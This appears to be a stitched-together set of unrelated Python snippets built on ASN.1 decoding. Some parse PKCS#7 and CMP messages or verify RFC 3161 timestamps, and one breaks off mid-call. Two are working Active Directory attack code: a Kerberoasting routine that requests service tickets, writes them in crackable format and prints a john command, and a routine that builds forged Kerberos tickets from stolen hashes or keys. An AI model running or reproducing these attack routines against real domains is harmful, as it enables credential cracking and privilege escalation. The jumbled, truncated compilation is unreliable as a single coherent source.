# # Read ASN.1/PEM PKCS#7 on stdin, parse it into plain text, # then build substrate from it # from pyasn1_modules import rfc2315, pem from pyasn1.codec.der import encoder, decoder import sys if len(sys.argv) != 1: print("""Usage: $ cat pkcs7Certificate.pem | %s""" % sys.argv[0]) sys.exit(-1) data = sys.stdin.read() contentInfo, rest = decoder.decode(data, asn1Spec=rfc2315.ContentInfo()) print(contentInfo.prettyPrint()) contentType = contentInfo.getComponentByName('contentType') contentInfoMap = { (1, 2, 840, 113549, 1, 7, 1): rfc2315.Data(), (1, 2, 840, 113549, 1, 7, 2): rfc2315.SignedData(), (1, 2, 840, 113549, 1, 7, 3): rfc2315.EnvelopedData(), (1, 2, 840, 113549, 1, 7, 4): rfc2315.SignedAndEnvelopedData(), (1, 2, 840, 113549, 1, 7, 5): rfc2315.DigestedData(), (1, 2, 840, 113549, 1, 7, 6): rfc2315.EncryptedData() } content, _ = decoder.decode(contentInfo.getComponentByName('content'),
def check_timestamp(tst, certificate=None, data=None, digest=None, hashname=None, nonce=None): hashname = hashname or 'sha1' hashobj = hashlib.new(hashname) if digest is None: if not data: raise ValueError("check_timestamp requires data or digest argument") hashobj.update(data) digest = hashobj.digest() if not isinstance(tst, rfc3161ng.TimeStampToken): tst, substrate = decoder.decode(tst, asn1Spec=rfc3161ng.TimeStampToken()) if substrate: raise ValueError("extra data after tst") signed_data = tst.content certificate = load_certificate(signed_data, certificate) if nonce is not None and int(tst.tst_info['nonce']) != int(nonce): raise ValueError('nonce is different or missing') # check message imprint with respect to locally computed digest message_imprint = tst.tst_info.message_imprint if message_imprint.hash_algorithm[0] != get_hash_oid(hashname) or bytes(message_imprint.hashed_message) != digest: raise ValueError('Message imprint mismatch') if not len(signed_data['signerInfos']): raise ValueError('No signature') # We validate only one signature signer_info = signed_data['signerInfos'][0] # check content type if tst.content['contentInfo']['contentType'] != rfc3161ng.id_ct_TSTInfo: raise ValueError("Signed content type is wrong: %s != %s" % ( tst.content['contentInfo']['contentType'], rfc3161ng.id_ct_TSTInfo )) # check signed data digest content = bytes(decoder.decode(bytes(tst.content['contentInfo']['content']), asn1Spec=univ.OctetString())[0]) # if there is authenticated attributes, they must contain the message # digest and they are the signed data otherwise the content is the # signed data if len(signer_info['authenticatedAttributes']): authenticated_attributes = signer_info['authenticatedAttributes'] signer_digest_algorithm = signer_info['digestAlgorithm']['algorithm'] signer_hash_class = get_hash_class_from_oid(signer_digest_algorithm) signer_hash_name = get_hash_from_oid(signer_digest_algorithm) content_digest = signer_hash_class(content).digest() for authenticated_attribute in authenticated_attributes: if authenticated_attribute[0] == id_attribute_messageDigest: try: signed_digest = bytes(decoder.decode(bytes(authenticated_attribute[1][0]), asn1Spec=univ.OctetString())[0]) if signed_digest != content_digest: raise ValueError('Content digest != signed digest') s = univ.SetOf() for i, x in enumerate(authenticated_attributes): s.setComponentByPosition(i, x) signed_data = encoder.encode(s) break except PyAsn1Error: raise else: raise ValueError('No signed digest') else: signed_data = content # check signature signature = signer_info['encryptedDigest'] public_key = certificate.public_key() hash_family = getattr(hashes, signer_hash_name.upper()) public_key.verify( bytes(signature), signed_data, padding.PKCS1v15(), hash_family(), ) return True
def enumSPNUsers(self): users_spn = {} user_tickets = {} userDomain = self.domuser.split('@')[1] idx = 0 for entry in self.spn: spns = json.loads(self.spn[idx].entry_to_json()) users_spn[self.splitJsonArr( spns['attributes'].get('name'))] = self.splitJsonArr( spns['attributes'].get('servicePrincipalName')) idx += 1 # Get TGT for the supplied user client = Principal(self.domuser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) try: # We need to take the domain from the user@domain since it *could* be a cross-domain user tgt, cipher, _, newSession = getKerberosTGT( client, '', userDomain, compute_lmhash(self.passwd), compute_nthash(self.passwd), None, kdcHost=None) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = newSession for user, spn in users_spn.items(): if isinstance(spn, list): # We only really need one to get a ticket spn = spn[0] else: try: # Get the TGS serverName = Principal( spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, _, newSession = getKerberosTGS( serverName, userDomain, None, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) # Decode the TGS decoded = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Get different encryption types if decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format( constants.EncryptionTypes.rc4_hmac.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [16:].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format( constants.EncryptionTypes. aes128_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [:-12].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = '$krb5tgs${0}${1}${2}$*{3}*${4}${5}'.format( constants.EncryptionTypes. aes256_cts_hmac_sha1_96.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [-12:].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [:-12].asOctets()).decode()) user_tickets[spn] = entry elif decoded['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs${0}$*{1}${2}${3}*${4}${5}'.format( constants.EncryptionTypes.des_cbc_md5.value, user, decoded['ticket']['realm'], spn.replace(':', '~'), hexlify(decoded['ticket']['enc-part']['cipher'] [:16].asOctets()).decode(), hexlify(decoded['ticket']['enc-part']['cipher'] [16:].asOctets()).decode()) user_tickets[spn] = entry except KerberosError: # For now continue # TODO: Maybe look deeper into issue here continue if len(user_tickets.keys()) > 0: with open('{0}-spn-tickets'.format(self.server), 'w') as f: for key, value in user_tickets.items(): f.write('{0}:{1}\n'.format(key, value)) if len(user_tickets.keys()) == 1: print( '[ ' + colored('OK', 'yellow') + ' ] Got and wrote {0} ticket for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets' .format(len(user_tickets.keys()), self.server)) else: print( '[ ' + colored('OK', 'yellow') + ' ] Got and wrote {0} tickets for Kerberoasting. Run: john --format=krb5tgs --wordlist=<list> {1}-spn-tickets' .format(len(user_tickets.keys()), self.server)) else: print('[ ' + colored('OK', 'green') + ' ] Got {0} tickets for Kerberoasting'.format( len(user_tickets.keys()))) except KerberosError as err: print('[ ' + colored('ERROR', 'red') + ' ] Kerberoasting failed with error: {0}'.format( err.getErrorString()[1]))
#!/usr/bin/python # Read ASN.1/PEM CMP message on stdin, parse into # plain text, then build substrate from it from pyasn1.codec.der import decoder, encoder from pyasn1_modules import rfc4210, pem from pyasn1 import debug import sys if len(sys.argv) == 2 and sys.argv[1] == '-d': debug.setLogger(debug.Debug('all')) elif len(sys.argv) != 1: print("""Usage: $ cat cmp.pem | %s [-d]""" % sys.argv[0]) sys.exit(-1) pkiMessage = rfc4210.PKIMessage() substrate = pem.readBase64FromFile(sys.stdin) if not substrate: sys.exit(0) pkiMsg, rest = decoder.decode(substrate, asn1Spec=pkiMessage) print(pkiMsg.prettyPrint()) assert encoder.encode(pkiMsg, defMode=False) == substrate or \ encoder.encode(pkiMsg, defMode=True) == substrate, \ 'CMP message recode fails'
def decode_timestamp_request(request): tsq, substrate = decoder.decode(request, asn1Spec=rfc3161ng.TimeStampReq()) if substrate: raise ValueError('Extra data returned') return tsq
def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: logging.info('Requesting TGT to target domain to use as basis') else: logging.info( 'Requesting TGT/TGS to target domain to use as basis') if self.__options.hashes is not None: lmhash, nthash = self.__options.hashes.split(':') else: lmhash = '' nthash = '' userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(lmhash), unhexlify(nthash), None, self.__options.dc_ip) if self.__domain == self.__server: kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0] else: serverName = Principal( self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.__domain, None, tgt, cipher, sessionKey) kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # Let's check we have all the necessary data based on the ciphers used. Boring checks ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) encPartCipher = int(kdcRep['enc-part']['etype']) if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \ self.__options.nthash is None: logging.critical( 'rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. ' 'Can\'t continue ( or try running again w/o the -request option)' ) return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is None: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)' ) return None, None if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) > 32: logging.critical( 'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. ' 'Can\'t continue (or try running again w/o the -request option)' ) return None, None if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value ) and self.__options.aesKey is None: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. ' 'Can\'t continue (or try running again w/o the -request option)' ) return None, None if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \ self.__options.aesKey is not None and len(self.__options.aesKey) < 64: logging.critical( 'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. ' 'Can\'t continue') return None, None kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target else: logging.info('Creating basic skeleton ticket and PAC Infos') if self.__domain == self.__server: kdcRep = AS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value else: kdcRep = TGS_REP() kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value kdcRep['pvno'] = 5 if self.__options.nthash is None: kdcRep['padata'] = noValue kdcRep['padata'][0] = noValue kdcRep['padata'][0][ 'padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value etype2 = ETYPE_INFO2() etype2[0] = noValue if len(self.__options.aesKey) == 64: etype2[0][ 'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: etype2[0][ 'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target) encodedEtype2 = encoder.encode(etype2) kdcRep['padata'][0]['padata-value'] = encodedEtype2 kdcRep['crealm'] = self.__domain.upper() kdcRep['cname'] = noValue kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['cname']['name-string'] = noValue kdcRep['cname']['name-string'][0] = self.__target kdcRep['ticket'] = noValue kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value kdcRep['ticket']['realm'] = self.__domain.upper() kdcRep['ticket']['sname'] = noValue kdcRep['ticket']['sname']['name-string'] = noValue kdcRep['ticket']['sname']['name-string'][0] = self.__service if self.__domain == self.__server: kdcRep['ticket']['sname'][ 'name-type'] = PrincipalNameType.NT_SRV_INST.value kdcRep['ticket']['sname']['name-string'][ 1] = self.__domain.upper() else: kdcRep['ticket']['sname'][ 'name-type'] = PrincipalNameType.NT_PRINCIPAL.value kdcRep['ticket']['sname']['name-string'][1] = self.__server kdcRep['ticket']['enc-part'] = noValue kdcRep['ticket']['enc-part']['kvno'] = 2 kdcRep['enc-part'] = noValue if self.__options.nthash is None: if len(self.__options.aesKey) == 64: kdcRep['ticket']['enc-part'][ 'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value kdcRep['enc-part'][ 'etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part'][ 'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value kdcRep['enc-part'][ 'etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value else: kdcRep['ticket']['enc-part'][ 'etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value kdcRep['enc-part']['kvno'] = 2 kdcRep['enc-part']['cipher'] = noValue pacInfos = self.createBasicPac(kdcRep) return kdcRep, pacInfos